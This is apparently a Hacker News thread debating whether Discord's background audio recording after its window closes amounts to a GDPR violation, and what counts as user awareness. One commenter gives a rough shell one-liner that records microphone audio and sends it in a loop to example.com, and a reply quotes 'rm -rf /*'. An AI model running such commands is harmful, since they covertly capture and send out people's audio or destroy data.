Hacker News new | ask | show | jobs
by ahungry 1312 days ago
Something like:

    nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & 
Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?

Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.

1 comments

> that's enough for a GDPR violation I guess?

No, you would also need to run on computers of people not understanding what is going on.

In the same way as running

> rm -rf /*

on computers of people not understanding what is going on (or not agreeing to it) and where you are not allowed to do so is illegal, for quite good reasons.

Did the users choose to install the Discord app (or run a random command?)

How are you supposed to confirm "user understanding"?

Does the program need to require a tutorial/training before it's being used?

A user's ignorance shouldn't be a software distributor's problem.

If the discord app didn't have a system tray, and hid it's process from the Process List someway, maybe you have a point - this is just ignorance across the board.

I think if you are doing the close is actually not killing the app you should ensure the user is aware the app is still recording. Some apps will show a recoding thinggy ont he screen or it will tell you before closing and you need to agree.

I don't have the time to test this, but if is true that you close the app and it sill continue recording that this is bad UX and the company should have prioritize fixing this instead of adding even more crap. Maybe some good practices would come from this.

Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?
I am not sure, it won't be enough IMO if the icon in the Tray is not changing to a clear Recording icon.

It would be like on my phone the big red End Call button would not end the call, just minimize the app and put a small gray icon on the top-bar section.

The system tray icon turns into a generic circle that nobody would associate with Discord unless they tried clicking it.

Windows has also been hiding all system tray icons for over 2 decades at this point, unless the user specifically unhides that application.

> A user's ignorance shouldn't be a software distributor's problem.

Deliberately causing user's ignorance should be a software distributor's problem.